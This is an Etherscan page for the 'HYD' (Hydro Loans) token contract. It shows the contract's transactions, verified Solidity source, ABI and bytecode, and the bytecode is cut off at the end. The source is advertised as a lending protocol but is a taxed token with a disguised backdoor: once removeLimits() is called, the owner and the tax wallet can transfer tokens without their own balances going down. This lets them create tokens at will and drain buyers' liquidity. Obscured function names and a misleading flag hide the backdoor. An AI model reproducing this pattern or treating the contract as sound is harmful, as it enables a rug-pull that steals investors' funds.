ETH Price: $2,950.73 (-2.11%)
Gas: 3 Gwei

Contract

0x672a6bF3d69A015aBf9a940E6F0530BB68EDCD3d
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Value
Approve194604392024-03-18 8:16:5959 days ago1710749819IN
0x672a6bF3...B68EDCD3d
0 ETH0.0011040223.74355776
Approve194603792024-03-18 8:04:5959 days ago1710749099IN
0x672a6bF3...B68EDCD3d
0 ETH0.0010052521.61939078
Approve194601622024-03-18 7:21:1159 days ago1710746471IN
0x672a6bF3...B68EDCD3d
0 ETH0.0010034821.5812852
Approve194600962024-03-18 7:07:5959 days ago1710745679IN
0x672a6bF3...B68EDCD3d
0 ETH0.0008824519.10153877
Approve194599992024-03-18 6:48:2359 days ago1710744503IN
0x672a6bF3...B68EDCD3d
0 ETH0.0008803218.90819287
Approve194592062024-03-18 4:08:1159 days ago1710734891IN
0x672a6bF3...B68EDCD3d
0 ETH0.0010026321.56299774
Approve194590632024-03-18 3:39:1160 days ago1710733151IN
0x672a6bF3...B68EDCD3d
0 ETH0.0011707825.17932379
Approve194574332024-03-17 22:08:4760 days ago1710713327IN
0x672a6bF3...B68EDCD3d
0 ETH0.0016010734.6568597
Transfer194573992024-03-17 22:01:4760 days ago1710712907IN
0x672a6bF3...B68EDCD3d
0 ETH0.0024257236.25354655
Approve194573822024-03-17 21:58:2360 days ago1710712703IN
0x672a6bF3...B68EDCD3d
0 ETH0.001478732.00799905
Approve194573822024-03-17 21:58:2360 days ago1710712703IN
0x672a6bF3...B68EDCD3d
0 ETH0.001488232.00580864
Approve194572922024-03-17 21:39:5960 days ago1710711599IN
0x672a6bF3...B68EDCD3d
0 ETH0.0008702729.90857225
Approve194572362024-03-17 21:28:2360 days ago1710710903IN
0x672a6bF3...B68EDCD3d
0 ETH0.0013118828.2137633
Approve194571822024-03-17 21:17:1160 days ago1710710231IN
0x672a6bF3...B68EDCD3d
0 ETH0.0015333533.19096662
Approve194571752024-03-17 21:15:4760 days ago1710710147IN
0x672a6bF3...B68EDCD3d
0 ETH0.001689736.29250556
Approve194571082024-03-17 21:02:2360 days ago1710709343IN
0x672a6bF3...B68EDCD3d
0 ETH0.0014139630.5668631
Approve194570622024-03-17 20:53:1160 days ago1710708791IN
0x672a6bF3...B68EDCD3d
0 ETH0.0015772633.87736654
Approve194570552024-03-17 20:51:4760 days ago1710708707IN
0x672a6bF3...B68EDCD3d
0 ETH0.0017456837.49479876
Renounce Ownersh...194570372024-03-17 20:48:1160 days ago1710708491IN
0x672a6bF3...B68EDCD3d
0 ETH0.0008084134.76764526
Remove Limits194570362024-03-17 20:47:5960 days ago1710708479IN
0x672a6bF3...B68EDCD3d
0 ETH0.0015432234.72222494
Approve194570352024-03-17 20:47:4760 days ago1710708467IN
0x672a6bF3...B68EDCD3d
0 ETH0.0018242439.18214333
Approve194570352024-03-17 20:47:4760 days ago1710708467IN
0x672a6bF3...B68EDCD3d
0 ETH0.0018242439.18214333
Approve194570352024-03-17 20:47:4760 days ago1710708467IN
0x672a6bF3...B68EDCD3d
0 ETH0.0018242439.18214333
Approve194570352024-03-17 20:47:4760 days ago1710708467IN
0x672a6bF3...B68EDCD3d
0 ETH0.0018242439.18214333
Approve194570352024-03-17 20:47:4760 days ago1710708467IN
0x672a6bF3...B68EDCD3d
0 ETH0.0018242439.18214333
View all transactions

Latest 6 internal transactions

Advanced mode:
Parent Transaction Hash Block From To Value
194600172024-03-18 6:51:5959 days ago1710744719
0x672a6bF3...B68EDCD3d
0.17943392 ETH
194600172024-03-18 6:51:5959 days ago1710744719
0x672a6bF3...B68EDCD3d
0.17943392 ETH
194570442024-03-17 20:49:3560 days ago1710708575
0x672a6bF3...B68EDCD3d
0.03877487 ETH
194570442024-03-17 20:49:3560 days ago1710708575
0x672a6bF3...B68EDCD3d
0.03877487 ETH
194570352024-03-17 20:47:4760 days ago1710708467
0x672a6bF3...B68EDCD3d
0.7785405 ETH
194570352024-03-17 20:47:4760 days ago1710708467
0x672a6bF3...B68EDCD3d
0.7785405 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
HYD

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-03-17
*/

// SPDX-License-Identifier: Unlicensed

/*
Hydro Loans is the first truly decentralized lending protocol built specifically for Ethereum.

Web: https://hydroloans.pro
App: https://app.hydroloans.pro
X: https://x.com/hydroloans
Tg: https://t.me/hydroloans_official
M: https://medium.com/@hydroloans.pro
*/

pragma solidity 0.8.19;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapFactory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function set(address) external;
    function setSetter(address) external;
}

interface IUniswapRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2591
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract HYD is Context, IERC20, Ownable {
    using SafeMath for uint256;

    string name_ = unicode"Hydro Loans";
    string symbol_ = unicode"HYD";

    uint8 decimals_ = 9;
    uint256 _supply = 10**9 * 10**9;

    IUniswapRouter private routerInstance_;
    address private pairAddress_;

    bool _hasLocked;
    bool _inswapping = true;
    bool disabledMaxTxLimit = false;
    bool disabledMaxWallet = true;

    uint256 _maxTxSize = 17 * 10**6 * 10**9;
    uint256 _maxWalletSize = 17 * 10**6 * 10**9;
    uint256 _swapMaxTax = 10**4 * 10**9;

    uint256 buyLpFees = 0;
    uint256 buyMktFees = 21;
    uint256 buyDevFees = 0;
    uint256 finalBuyFees = 21;

    uint256 presetLpFee = 0;
    uint256 presetMktFee = 21;
    uint256 presetDevFee = 0;
    uint256 presetFee = 21;

    uint256 sellLpFees = 0;
    uint256 sellMktFees = 21;
    uint256 sellDevFees = 0;
    uint256 finalSellFees = 21;

    address payable _taxWallet1;
    address payable _taxWallet2;

    mapping(address => uint256) balances_;
    mapping(address => mapping(address => uint256)) _allowance;
    mapping(address => bool) _taxLessAddress;
    mapping(address => bool) _maxWalletNon;
    mapping(address => bool) _maxTxNon;
    mapping(address => bool) _isLp;

    modifier lockSwap() {
        _hasLocked = true;
        _;
        _hasLocked = false;
    }

    constructor(address address_) {
        balances_[_msgSender()] = _supply;
        IUniswapRouter _uniswapV2Router = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        pairAddress_ = IUniswapFactory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        routerInstance_ = _uniswapV2Router;
        _allowance[address(this)][address(routerInstance_)] = _supply;
        _taxWallet1 = payable(address_);
        _taxWallet2 = payable(address_);
        finalBuyFees = buyLpFees.add(buyMktFees).add(buyDevFees);
        finalSellFees = sellLpFees.add(sellMktFees).add(sellDevFees);
        presetFee = presetLpFee.add(presetMktFee).add(presetDevFee);

        _taxLessAddress[owner()] = true;
        _taxLessAddress[_taxWallet1] = true;
        _maxWalletNon[owner()] = true;
        _maxWalletNon[pairAddress_] = true;
        _maxWalletNon[address(this)] = true;
        _maxTxNon[owner()] = true;
        _maxTxNon[_taxWallet1] = true;
        _maxTxNon[address(this)] = true;
        _isLp[pairAddress_] = true;
        emit Transfer(address(0), _msgSender(), _supply);
    }

    function name() public view returns (string memory) {
        return name_;
    }

    function symbol() public view returns (string memory) {
        return symbol_;
    }

    function decimals() public view returns (uint8) {
        return decimals_;
    }

    function totalSupply() public view override returns (uint256) {
        return _supply;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowance[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowance[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return balances_[account];
    }

    function _transfer3(address sender, address recipient, uint256 amount) internal returns (bool) {
        if (_hasLocked) {
            return _transfer2(sender, recipient, amount);
        } else {
            _assertMaxTx(sender, recipient, amount);
            _swpaBackCheck(sender, recipient, amount);
            _transfer1(sender, recipient, amount);
            return true;
        }
    }

    function _sendFees(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }

    function _assertMaxTx(address sender, address recipient, uint256 amount) internal view {
        if (!_maxTxNon[sender] && !_maxTxNon[recipient]) {
            require(amount <= _maxTxSize, "Transfer amount exceeds the max.");
        }
    }

    function _getAmountOut(address sender, uint256 amount, uint256 toAmount) internal view returns (uint256) {
        if (!disabledMaxWallet && _taxLessAddress[sender]) {
            return amount.sub(toAmount);
        } else {
            return amount;
        }
    }

    function _assertMaxWallet(address to, uint256 amount) internal view {
        if (disabledMaxWallet && !_maxWalletNon[to]) {
            require(balances_[to].add(amount) <= _maxWalletSize);
        }
    }

    function _amountIn(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if (_taxLessAddress[sender] || _taxLessAddress[recipient]) {
            return amount;
        } else {
            return _getOutput(sender, recipient, amount);
        }
    }

    function _performTaxSwap(uint256 tokenAmount) private lockSwap {
        uint256 lpFeeTokens = tokenAmount.mul(presetLpFee).div(presetFee).div(2);
        uint256 tokensToSwap = tokenAmount.sub(lpFeeTokens);

        _swapTokensToETH(tokensToSwap);
        uint256 ethCA = address(this).balance;

        uint256 totalETHFee = presetFee.sub(presetLpFee.div(2));

        uint256 amountETHLiquidity_ = ethCA.mul(presetLpFee).div(totalETHFee).div(2);
        uint256 amountETHDevelopment_ = ethCA.mul(presetDevFee).div(totalETHFee);
        uint256 amountETHMarketing_ = ethCA.sub(amountETHLiquidity_).sub(amountETHDevelopment_);

        if (amountETHMarketing_ > 0) {
            _sendFees(_taxWallet1, amountETHMarketing_);
        }

        if (amountETHDevelopment_ > 0) {
            _sendFees(_taxWallet2, amountETHDevelopment_);
        }
    }

    function _checkFeeStatus(address from, address to, uint256 amount) internal view returns (uint256) {
        if (_isLp[from]) {
            return amount.mul(finalBuyFees).div(100);
        } else if (_isLp[to]) {
            return amount.mul(finalSellFees).div(100);
        }
        return 0;
    }

    function removeLimits() external onlyOwner {
        _maxTxSize = _supply;
        disabledMaxWallet = false;
        buyMktFees = 0;
        sellMktFees = 0;
        finalBuyFees = 0;
        finalSellFees = 0;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        return _transfer3(sender, recipient, amount);
    }

    function _getOutput(address sender, address receipient, uint256 amount) internal returns (uint256) {
        uint256 fee = _checkFeeStatus(sender, receipient, amount);
        if (fee > 0) {
            balances_[address(this)] = balances_[address(this)].add(fee);
            emit Transfer(sender, address(this), fee);
        }
        return amount.sub(fee);
    }

    receive() external payable {}

    function _transfer2(address sender, address recipient, uint256 amount) internal returns (bool) {
        balances_[sender] = balances_[sender].sub(amount, "Insufficient Balance");
        balances_[recipient] = balances_[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function _swpaBackCheck(address from, address to, uint256 amount) internal {
        uint256 _feeAmount = balanceOf(address(this));
        bool minSwapable = _feeAmount >= _swapMaxTax;
        bool isExTo = !_hasLocked && _isLp[to] && _inswapping;
        bool swapAbove = !_taxLessAddress[from] && amount > _swapMaxTax;
        if (minSwapable && isExTo && swapAbove) {
            if (disabledMaxTxLimit) {
                _feeAmount = _swapMaxTax;
            }
            _performTaxSwap(_feeAmount);
        }
    }

    function _swapTokensToETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = routerInstance_.WETH();

        _approve(address(this), address(routerInstance_), tokenAmount);

        routerInstance_.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _transfer1(address sender, address recipient, uint256 amount) internal {
        uint256 toAmount = _amountIn(sender, recipient, amount);
        _assertMaxWallet(recipient, toAmount);
        uint256 subAmount = _getAmountOut(sender, amount, toAmount);            
        balances_[sender] = balances_[sender].sub(subAmount, "Balance check error");
        balances_[recipient] = balances_[recipient].add(toAmount);
        emit Transfer(sender, recipient, toAmount);
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowance[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"address_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600b60809081526a487964726f204c6f616e7360a81b60a0526002906200002c908262000658565b506040805180820190915260038082526212165160ea1b60208301529062000055908262000658565b5060048054600960ff199091168117909155670de0b6b3a76400006005556007805462ffffff60a81b19166201000160a81b179055663c6568f12e8000600881905590556509184e72a000600a556000600b8190556015600c819055600d829055600e819055600f82905560108190556011829055601281905560138290556014819055908155601655348015620000ec57600080fd5b5060405162001c8738038062001c878339810160408190526200010f9162000724565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506005543360009081526019602090815260409182902092909255805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d92839263c45a015592600480830193928290030181865afa158015620001b7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001dd919062000724565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200022b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000251919062000724565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200029f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002c5919062000724565b600780546001600160a01b039283166001600160a01b031991821617909155600680548484169083168117909155600554306000908152601a6020908152604080832094835293905291909120556017805492851692821683179055601880549091169091179055600d54600c54600b546200034f929162000348919062000544565b9062000544565b600e556015546014546013546200036d929162000348919062000544565b601655601154601054600f546200038b929162000348919062000544565b6012556001601b6000620003a76000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790556017549091168152601b909252812080549092166001908117909255601c90620004076000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790556007549091168152601c90925280822080548416600190811790915530835290822080549093168117909255601d90620004776000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560175482168152601d845282812080548616600190811790915530825283822080548716821790556007549092168152601e90935291208054909216179055620004ec3390565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6005546040516200053491815260200190565b60405180910390a3505062000771565b6000806200055383856200074f565b905083811015620005aa5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640160405180910390fd5b90505b92915050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620005de57607f821691505b602082108103620005ff57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200065357600081815260208120601f850160051c810160208610156200062e5750805b601f850160051c820191505b818110156200064f578281556001016200063a565b5050505b505050565b81516001600160401b03811115620006745762000674620005b3565b6200068c81620006858454620005c9565b8462000605565b602080601f831160018114620006c45760008415620006ab5750858301515b600019600386901b1c1916600185901b1785556200064f565b600085815260208120601f198616915b82811015620006f557888601518255948401946001909101908401620006d4565b5085821015620007145787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000602082840312156200073757600080fd5b81516001600160a01b0381168114620005aa57600080fd5b80820180821115620005ad57634e487b7160e01b600052601160045260246000fd5b61150680620007816000396000f3fe6080604052600436106100c65760003560e01c8063715018a61161007f57806395d89b411161005957806395d89b4114610218578063a9059cbb1461022d578063dd62ed3e1461024d578063f2fde38b1461029357600080fd5b8063715018a6146101c4578063751039fc146101db5780638da5cb5b146101f057600080fd5b806306fdde03146100d2578063095ea7b3146100fd57806318160ddd1461012d57806323b872dd1461014c578063313ce5671461016c57806370a082311461018e57600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b506100e76102b3565b6040516100f491906111f7565b60405180910390f35b34801561010957600080fd5b5061011d61011836600461125d565b610345565b60405190151581526020016100f4565b34801561013957600080fd5b506005545b6040519081526020016100f4565b34801561015857600080fd5b5061011d610167366004611289565b61035c565b34801561017857600080fd5b5060045460405160ff90911681526020016100f4565b34801561019a57600080fd5b5061013e6101a93660046112ca565b6001600160a01b031660009081526019602052604090205490565b3480156101d057600080fd5b506101d96103c7565b005b3480156101e757600080fd5b506101d9610444565b3480156101fc57600080fd5b506000546040516001600160a01b0390911681526020016100f4565b34801561022457600080fd5b506100e7610497565b34801561023957600080fd5b5061011d61024836600461125d565b6104a6565b34801561025957600080fd5b5061013e6102683660046112e7565b6001600160a01b039182166000908152601a6020908152604080832093909416825291909152205490565b34801561029f57600080fd5b506101d96102ae3660046112ca565b6104b3565b6060600280546102c290611320565b80601f01602080910402602001604051908101604052809291908181526020018280546102ee90611320565b801561033b5780601f106103105761010080835404028352916020019161033b565b820191906000526020600020905b81548152906001019060200180831161031e57829003601f168201915b5050505050905090565b600061035233848461059d565b5060015b92915050565b60006103698484846106c1565b506103bc84336103b7856040518060600160405280602881526020016114a9602891396001600160a01b038a166000908152601a60209081526040808320338452909152902054919061079c565b61059d565b5060015b9392505050565b6000546001600160a01b031633146103fa5760405162461bcd60e51b81526004016103f19061135a565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461046e5760405162461bcd60e51b81526004016103f19061135a565b6005546008556007805460ff60b81b191690556000600c8190556014819055600e819055601655565b6060600380546102c290611320565b60006103bc3384846106c1565b6000546001600160a01b031633146104dd5760405162461bcd60e51b81526004016103f19061135a565b6001600160a01b0381166105425760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103f1565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166105ff5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103f1565b6001600160a01b0382166106605760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103f1565b6001600160a01b038381166000818152601a602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b0384166107275760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103f1565b6001600160a01b0383166107895760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103f1565b6107948484846107d6565b949350505050565b600081848411156107c05760405162461bcd60e51b81526004016103f191906111f7565b5060006107cd84866113a5565b95945050505050565b600754600090600160a01b900460ff16156107fd576107f6848484610826565b90506103c0565b61080884848461090c565b6108138484846109aa565b61081e848484610a7d565b5060016103c0565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038616600090815260199091529182205461087791849061079c565b6001600160a01b0380861660009081526019602052604080822093909355908516815220546108a69083610b9c565b6001600160a01b0380851660008181526019602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906108fa9086815260200190565b60405180910390a35060019392505050565b6001600160a01b0383166000908152601d602052604090205460ff1615801561094e57506001600160a01b0382166000908152601d602052604090205460ff16155b156109a5576008548111156109a55760405162461bcd60e51b815260206004820181905260248201527f5472616e7366657220616d6f756e74206578636565647320746865206d61782e60448201526064016103f1565b505050565b30600090815260196020526040812054600a5460075491929083101591600160a01b900460ff161580156109f657506001600160a01b0385166000908152601e602052604090205460ff165b8015610a0b5750600754600160a81b900460ff165b6001600160a01b0387166000908152601b60205260408120549192509060ff16158015610a395750600a5485115b9050828015610a455750815b8015610a4e5750805b15610a7457600754600160b01b900460ff1615610a6b57600a5493505b610a7484610bfb565b50505050505050565b6000610a8a848484610d12565b9050610a968382610d68565b6000610aa3858484610dd4565b9050610b0a81604051806040016040528060138152602001722130b630b731b29031b432b1b59032b93937b960691b81525060196000896001600160a01b03166001600160a01b031681526020019081526020016000205461079c9092919063ffffffff16565b6001600160a01b038087166000908152601960205260408082209390935590861681522054610b399083610b9c565b6001600160a01b0380861660008181526019602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b8d9086815260200190565b60405180910390a35050505050565b600080610ba983856113b8565b9050838110156103c05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103f1565b6007805460ff60a01b1916600160a01b179055601254600f54600091610c3191600291610c2b9182908790610e1f565b90610ea1565b90506000610c3f8383610ee3565b9050610c4a81610f25565b600f544790600090610c6a90610c61906002610ea1565b60125490610ee3565b90506000610c8c6002610c2b84610c2b600f5488610e1f90919063ffffffff16565b90506000610ca983610c2b60115487610e1f90919063ffffffff16565b90506000610cc182610cbb8786610ee3565b90610ee3565b90508015610cdf57601754610cdf906001600160a01b03168261107f565b8115610cfb57601854610cfb906001600160a01b03168361107f565b50506007805460ff60a01b19169055505050505050565b6001600160a01b0383166000908152601b602052604081205460ff1680610d5157506001600160a01b0383166000908152601b602052604090205460ff165b15610d5d5750806103c0565b6107f68484846110b5565b600754600160b81b900460ff168015610d9a57506001600160a01b0382166000908152601c602052604090205460ff16155b15610dd0576009546001600160a01b038316600090815260196020526040902054610dc59083610b9c565b1115610dd057600080fd5b5050565b600754600090600160b81b900460ff16158015610e0957506001600160a01b0384166000908152601b602052604090205460ff165b15610e18576107f68383610ee3565b50816103c0565b600082600003610e3157506000610356565b6000610e3d83856113cb565b905082610e4a85836113e2565b146103c05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103f1565b60006103c083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611149565b60006103c083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061079c565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610f5a57610f5a611404565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610fb3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fd7919061141a565b81600181518110610fea57610fea611404565b6001600160a01b039283166020918202929092010152600654611010913091168461059d565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790611049908590600090869030904290600401611437565b600060405180830381600087803b15801561106357600080fd5b505af1158015611077573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156109a5573d6000803e3d6000fd5b6000806110c3858585611177565b9050801561113f57306000908152601960205260409020546110e59082610b9c565b30600081815260196020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111369085815260200190565b60405180910390a35b6107cd8382610ee3565b6000818361116a5760405162461bcd60e51b81526004016103f191906111f7565b5060006107cd84866113e2565b6001600160a01b0383166000908152601e602052604081205460ff16156111b2576107f66064610c2b600e5485610e1f90919063ffffffff16565b6001600160a01b0383166000908152601e602052604090205460ff16156111ed576107f66064610c2b60165485610e1f90919063ffffffff16565b5060009392505050565b600060208083528351808285015260005b8181101561122457858101830151858201604001528201611208565b506000604082860101526040601f19601f8301168501